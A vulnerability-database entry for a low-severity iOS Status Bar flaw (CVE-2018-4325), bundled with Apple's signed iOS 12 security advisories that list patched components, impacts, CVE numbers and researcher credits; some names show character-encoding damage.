Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4299: Samuel GroI2 (saelo) working with Trend Micro's Zero Day Initiative CVE-2018-4323: Ivan Fratric of Google Project Zero CVE-2018-4328: Ivan Fratric of Google Project Zero CVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative CVE-2018-4359: Samuel GroA (@5aelo) Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may cause unexepected cross-origin behavior Description: A cross-origin issue existed with "iframe" elements. CVE-2018-4319: John Pettitt of Google Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2018-4197: Ivan Fratric of Google Project Zero CVE-2018-4306: Ivan Fratric of Google Project Zero CVE-2018-4312: Ivan Fratric of Google Project Zero CVE-2018-4314: Ivan Fratric of Google Project Zero CVE-2018-4315: Ivan Fratric of Google Project Zero CVE-2018-4317: Ivan Fratric of Google Project Zero CVE-2018-4318: Ivan Fratric of Google Project Zero Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may exfiltrate image data cross-origin Description: A cross-site scripting issue existed in Safari. CVE-2018-4345: an anonymous researcher Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unexpected interaction causes an ASSERT failure Description: A memory corruption issue was addressed with improved validation. CVE-2018-4191: found by OSS-Fuzz Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Cross-origin SecurityErrors includes the accessed frame's origin Description: The issue was addressed by removing origin information. CVE-2018-4311: Erling Alf Ellingsen (@steike) Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to execute scripts in the context of another website Description: A cross-site scripting issue existed in Safari. CVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative Entry added September 24, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unexpected interaction causes an ASSERT failure Description: A memory consumption issue was addressed with improved memory handling. CVE-2018-4361: found by Google OSS-Fuzz Entry added September 24, 2018 Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative Additional recognition Assets We would like to acknowledge Brandon Azad for their assistance. configd We would like to acknowledge Sabri Haddouche (@pwnsdx) of Wire Swiss GmbH for their assistance. Core Data We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. Exchange ActiveSync We would like to acknowledge Jesse Thompson of University of Wisconsin-Madison for their assistance. Feedback Assistant We would like to acknowledge Marco Grassi (@marcograss) of KeenLab (@keen_lab) Tencent working with Trend Micro's Zero Day Initiative for their assistance. Mail We would like to acknowledge Alessandro Avagliano of Rocket Internet SE, Gunnar Diepenbruck, and Zbyszek A>>A3Akiewski for their assistance. MediaRemote We would like to acknowledge Brandon Azad for their assistance. Safari We would like to acknowledge Marcel Manz of SIMM-Comm GmbH and Vlad Galbin for their assistance. Sandbox Profiles We would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance. Security We would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip KlubiAka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, and an anonymous researcher for their assistance. SQLite We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. Status Bar We would like to acknowledge Ju Zhu of Meituan and Moony Li and Lilang Wu of Trend Micro for their assistance. WebKit We would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative, and Zach Malone of CA Technologies for their assistance. Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAlupFUMACgkQeC9tht7T K3Gpbg/9HBJDw9agGt5ZwLBzc5njAETI5Hxk0LDn5PjvmXpxD0kB/GcuH5vODNfi TOUNox5KfIIaD0HB1qo5zq4zdh1VmnCNKALJK0wY0U3KaACRghu0xTjpbXsYcYQy 4aGdt+UuiPBqsMkSUrakba1JHcYWrpc4GfUaxIUZw+aFdA0G2oUOYAN5w3a3I01A aVY1Qzq93MdUCjdr3ASXn4gdMtZeYAze4dXCkmvOXS8CPG4xok2C/MdwaTRKh1ex S74YkM+Oz+mAG+3uebwexeHWLUbFHKBr4KXu2DFvpJ4JxNu57SOqwEDDfauVOCHb 13YFf+i+Zh5g9SODQJFXDXk6Cl6MlTuEsLcr1YX8xqmSLilaFJTiz7nxxAG0Qctb Z80wHbzQeGaGQwEy1A99X7X33PupzyaJFiK/4F8O5neo18LliunU01Tzk16sgYFt 4Jg/e5+EkcGf1TJiCTMzIPDVsMBDRcTV9KMBUjr+LmbBJ5T8XKdg5nuEURKT3QFQ h05+La/AFn+sJ8FFTK0WQmvM96vKQELyBBC9Npa7n1riCPHldPt9+vQ3wVwo5MD4 SdGfACevV+Qf8G1A064fM74nrJOnoqLowQiCtMSOpMx3PWwX0Pzw2SVyaFG3cLAv 221+OCYYcniG7UPdjoFv7kObGFEUC9vt1TS76VfolzKWd/fcakg= =JOUe -----END PGP SIGNATURE-----
VAR-201904-1416 CVE-2018-4325 iOS Logic vulnerability CVSS V2: 2.1
CVSS V3: 2.4
Severity: LOW
A logic issue was addressed with improved restrictions. This issue affected versions prior to iOS 12. iOS Contains a flaw in the logic due to flaws in handling restrictions.Information may be obtained. Apple iOS is prone to multiple security vulnerabilities. Attackers can exploit these issues to gain sensitive information, bypass security mechanisms, and conduct spoofing attacks and perform unauthorized actions. Status Bar is one of the status bar components. An attacker in physical proximity could exploit this vulnerability to determine the last application used from the lock screen. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-10-30-8 Additional information for APPLE-SA-2018-9-24-4 iOS 12 iOS 12 addresses the following: Accounts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local app may be able to read a persistent account identifier Description: This issue was addressed with improved entitlements. CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Auto Unlock Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to access local users AppleIDs Description: A validation issue existed in the entitlement verification. CVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-5383: Lior Neumann and Eli Biham CFNetwork Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 CoreFoundation Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to elevate privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4412: The UK's National Cyber Security Centre (NCSC) Entry added October 30, 2018 CoreFoundation Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to gain elevated privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2018-4414: The UK's National Cyber Security Centre (NCSC) Entry added October 30, 2018 CoreMedia Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An app may be able to learn information about the current camera view before being granted camera access Description: A permissions issue existed. CVE-2018-4356: an anonymous researcher CoreText Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted text file may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2018-4347: an anonymous researcher Entry added October 30, 2018 Crash Reporter Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4333: Brandon Azad Grand Central Dispatch Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4426: Brandon Azad Entry added October 30, 2018 Heimdal Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4331: Brandon Azad CVE-2018-4332: Brandon Azad CVE-2018-4343: Brandon Azad Entry added October 30, 2018 iBooks Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information Description: A configuration issue was addressed with additional restrictions. CVE-2018-4355: evi1m0 of bilibili security team Entry added October 30, 2018 IOHIDFamily Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved input validation CVE-2018-4408: Ian Beer of Google Project Zero Entry added October 30, 2018 IOKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to break out of its sandbox Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4341: Ian Beer of Google Project Zero CVE-2018-4354: Ian Beer of Google Project Zero Entry added October 30, 2018 IOKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved state management. CVE-2018-4383: Apple Entry added October 30, 2018 IOMobileFrameBuffer Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4335: Brandon Azad IOUserEthernet Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4401: Apple Entry added October 30, 2018 iTunes Store Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious application may be able to leak sensitive user information Description: An access issue existed with privileged API calls. CVE-2018-4399: Fabiano Anemone (@anoane) Entry added October 30, 2018 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to execute arbitrary code Description: A memory corruption issue was addressed with improved validation. CVE-2018-4407: Kevin Backhouse of Semmle Ltd. Entry added October 30, 2018 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4336: Brandon Azad CVE-2018-4337: Ian Beer of Google Project Zero CVE-2018-4340: Mohamed Ghannam (@_simo36) CVE-2018-4344: The UK's National Cyber Security Centre (NCSC) CVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 mDNSOffloadUserClient Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team Entry added October 30, 2018 MediaRemote Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A sandboxed process may be able to circumvent sandbox restrictions Description: An access issue was addressed with additional sandbox restrictions. CVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs Entry added October 30, 2018 Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted messages Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Notes Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted notes Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4352: Utku Altinkaynak Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A user may be unable to delete browsing history items Description: Clearing a history item may not clear visits with redirect chains. CVE-2018-4329: Hugo S. Diaz (coldpointblue) SafariViewController Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4362: Jun Kokatsu (@shhnjk) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to exfiltrate autofilled data in Safari Description: A logic issue was addressed with improved state management. CVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to cause a denial of service Description: This issue was addressed with improved checks. CVE-2018-4395: Patrick Wardle of Digita Security Entry added October 30, 2018 Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Status Bar Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2018-4325: Brian Adeloye Symptom Framework Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative Entry added October 30, 2018 Text Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted text file may lead to a denial of service Description: A denial of service issue was addressed with improved validation. CVE-2018-4304: jianan.huang (@Sevck) Entry added October 30, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved state management. CVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2018-4299: Samuel GroI2 (saelo) working with Trend Micro's Zero Day Initiative CVE-2018-4323: Ivan Fratric of Google Project Zero CVE-2018-4328: Ivan Fratric of Google Project Zero CVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative CVE-2018-4359: Samuel GroA (@5aelo) CVE-2018-4360: William Bowling (@wcbowling) Entry added October 30, 2018 WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may cause unexepected cross-origin behavior Description: A cross-origin issue existed with "iframe" elements. CVE-2018-4319: John Pettitt of Google WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2018-4197: Ivan Fratric of Google Project Zero CVE-2018-4306: Ivan Fratric of Google Project Zero CVE-2018-4312: Ivan Fratric of Google Project Zero CVE-2018-4314: Ivan Fratric of Google Project Zero CVE-2018-4315: Ivan Fratric of Google Project Zero CVE-2018-4317: Ivan Fratric of Google Project Zero CVE-2018-4318: Ivan Fratric of Google Project Zero WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may exfiltrate image data cross-origin Description: A cross-site scripting issue existed in Safari. CVE-2018-4345: an anonymous researcher WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unexpected interaction causes an ASSERT failure Description: A memory corruption issue was addressed with improved validation. CVE-2018-4191: found by OSS-Fuzz WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Cross-origin SecurityErrors includes the accessed frame's origin Description: The issue was addressed by removing origin information. CVE-2018-4311: Erling Alf Ellingsen (@steike) WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to execute scripts in the context of another website Description: A cross-site scripting issue existed in Safari. CVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unexpected interaction causes an ASSERT failure Description: A memory consumption issue was addressed with improved memory handling. CVE-2018-4361: found by OSS-Fuzz Additional recognition APFS We would like to acknowledge Umang Raghuvanshi for their assistance. Assets We would like to acknowledge Brandon Azad for their assistance. configd We would like to acknowledge Sabri Haddouche (@pwnsdx) of Wire Swiss GmbH for their assistance. Core Data We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. CoreSymbolication We would like to acknowledge Brandon Azad for their assistance. Exchange ActiveSync We would like to acknowledge Jesse Thompson of University of Wisconsin-Madison for their assistance. Feedback Assistant We would like to acknowledge Marco Grassi (@marcograss) of KeenLab (@keen_lab) Tencent working with Trend Micro's Zero Day Initiative for their assistance. Kernel We would like to acknowledge Brandon Azad for their assistance. Mail We would like to acknowledge Alessandro Avagliano of Rocket Internet SE, Gunnar Diepenbruck, and Zbyszek A>>A3Akiewski for their assistance. MediaRemote We would like to acknowledge Brandon Azad for their assistance. Quick Look We would like to acknowledge lokihardt of Google Project Zero for their assistance. Safari We would like to acknowledge Marcel Manz of SIMM-Comm GmbH and Vlad Galbin for their assistance. Sandbox Profiles We would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance. Security We would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip KlubiAka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, and an anonymous researcher for their assistance. SQLite We would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance. Status Bar We would like to acknowledge Ju Zhu of Meituan and Moony Li and Lilang Wu of Trend Micro for their assistance. WebKit We would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative, and Zach Malone of CA Technologies for their assistance. Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQJdBAEBCABHFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAlvYkgYpHHByb2R1Y3Qt c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQeC9tht7TK3HbuA// ZOEwXUyLVS3SqfEjU3MRUoTp1x+Ow+fd5co9B6v7bY+Ebc2KmSZjpPuNPjouRHmf RbWpZ0Mc52NYm+OdYqPu/Tg94wRi6tlrYusk6GngVH4IBER4TqiFrLNSzAjXL0xP qWv3JQcAIFNbNWpSEzDzEbuq85q4BIuP/+v2LpTc1ZWqIYt9TQHxUpyjoTXZvQhL 8L9ZM/dj8BC+m713LeC/KzveaDpaqnVJUDbgUkzRyFfFqOJt+hlaTS8yMUM3G+TX cblL8bvFNIxtUrt4Rf2TwDRVxUZIw/aFK2APmxVZ44UAT+2o+WFxBkHRXQiZc4Lk OaTzzkocdZu4q4MibrxELBWtW46AcGMqQKUpFZ6GR+4U2c1ICRwKnjQTn0iY7mg7 d+M+bTx8T2knwV7lSwvnHz79rysvOuCF3QCAZ4tW4PvLHWSZ0TpJho8z23PLHFQd J3cOYPby6SM9YP6SBISX5OI8xnvr1XIAPIBnOy0ScaMFsu0Er8j1hvbF1fXiaYOJ CSUUXR2th3jPW0g9L0j4vWGURG1h0psIN2MxTSHbmm4KXBAYngZ0wDOeJMUe8YMy IG0UBDqKNh8lzKHcc4aYA1WyaNsqbgbngBqDATp/XyWRzd+Py/U06MVuIaV095Rv s9WW67M1kLHy4BeutXt+xLBp9AugI+gU53uysxcnBx4= =dGPm -----END PGP SIGNATURE-----